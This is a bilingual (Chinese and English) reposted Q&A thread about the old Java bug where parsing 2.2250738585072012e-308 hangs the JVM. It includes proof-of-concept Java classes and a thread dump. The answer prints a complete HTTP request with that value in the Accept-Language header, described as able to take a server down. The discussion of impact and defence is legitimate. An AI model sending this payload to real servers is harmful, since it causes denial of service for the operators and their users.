哪种网络应用程序实际上会受到浮动错误的影响？

发布于 2024-10-16 09:26:47 字数 1517 浏览 4 评论 0原文

有一种简单的方法可以完全锁定大量 JVM：

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

或者挂起编译器：

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}

如下所述： http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

我的问题很简单：哪种精心设计的网络您知道应用程序实际上会受到此影响吗？

换句话说：攻击者可以利用已知的弱点在哪种网络应用上执行拒绝服务？

很糟糕，很糟糕。但除了使用浮点进行货币计算的程序员之外，我没有看到很多 Java 支持的网站会崩溃。

我可以看到玩具科学小程序是候选者，但除此之外...

这是被阻止线程的 threadump（在 Linux 上使用“kill -3”完成）：

"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]
        at sun.misc.FDBigInt.mult(FloatingDecimal.java:2617)
        at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158)
        at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510)
        at java.lang.Double.parseDouble(Double.java:482)

编辑

JVM 在此锁定：

java 版本“1.5.1”。 0_10" Java(TM) 2 运行时环境，标准版（内部版本 1.5.0_10-b03） Java HotSpot(TM) 服务器 VM（内部版本 1.5.0_10-b03，混合模式）

java 版本“1.6.0_17” Java(TM) SE 运行时环境（版本 1.6.0_17-b04） Java HotSpot(TM) 服务器 VM（内部版本 14.3-b01，混合模式）

原文

There's an easy way to totally lock a lot of JVM:

class runhang {
public static void main(String[] args) {
  System.out.println("Test:");
  double d = Double.parseDouble("2.2250738585072012e-308");
  System.out.println("Value: " + d);
 }
}

or, to hang the compiler:

class compilehang {
public static void main(String[] args) {
  double d = 2.2250738585072012e-308;
  System.out.println("Value: " + d);
 }
}

as explained here: http://www.exploringbinary.com/java-hangs-when-converting-2-2250738585072012e-308/

My question is very simple: which kind of well-conceived web application do you know that can realistically be affected by this?

In other words: on which kind of webapps could an attacker perform a Denial of Service using that known weakness?

It is bad, it is terribly bad. But besides programmers using floating-point for monetary computation I don't see many Java-backed websites that can be crashed.

I can see toy scientific applets being candidates but besides that...

Here's a threadump of the blocked thread (done using "kill -3" on Linux):

"main" prio=1 tid=0x09ab8a10 nid=0x57e9 runnable [0xbfbde000..0xbfbde728]
        at sun.misc.FDBigInt.mult(FloatingDecimal.java:2617)
        at sun.misc.FloatingDecimal.multPow52(FloatingDecimal.java:158)
        at sun.misc.FloatingDecimal.doubleValue(FloatingDecimal.java:1510)
        at java.lang.Double.parseDouble(Double.java:482)

EDIT

JVMs locked here:

java version "1.5.0_10"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_10-b03)
Java HotSpot(TM) Server VM (build 1.5.0_10-b03, mixed mode)

java version "1.6.0_17"
Java(TM) SE Runtime Environment (build 1.6.0_17-b04)
Java HotSpot(TM) Server VM (build 14.3-b01, mixed mode)

分享到QQ

分享到微博

如果你对这篇内容有疑问，欢迎到本站社区发帖提问参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。

发布评论

需要登录才能够评论，你可以免费注册一个本站的账号。

绻影浮沉 2024-10-23 09:26:47

许多网络服务器使用 Double.parse 解析部分 http 标头，因此我们在这里处理基础设施（除了在容器中运行的应用程序的任何问题）。您链接的探索二进制博客的评论有以下示例：

GET / HTTP/1.1
Host: myhost
Connection: keep-alive
Accept-Language: en-us;q=2.2250738585072012e-308

如果请求所针对的 servlet 调用任何本地化 API（然后将尝试解析语言标头），则以上内容将关闭服务器。

所以是的，这是一个非常大的问题。攻击面相当大，后果也相当严重。

Many web servers parse part of the http headers using Double.parse, so we are dealing with infrastructure here (in addition to any problems with applications that run in the container). The comments of the Exploring Binary blog you link to have the following as an example:

GET / HTTP/1.1
Host: myhost
Connection: keep-alive
Accept-Language: en-us;q=2.2250738585072012e-308

If the servlet that the request is going against makes a call to any of the localization APIs (which would then attempt to parse the language header), the above will bring the server down.

So yes, this is a very big problem. The attack surface is quite large, and the consequences quite high.

回复收藏 0 原文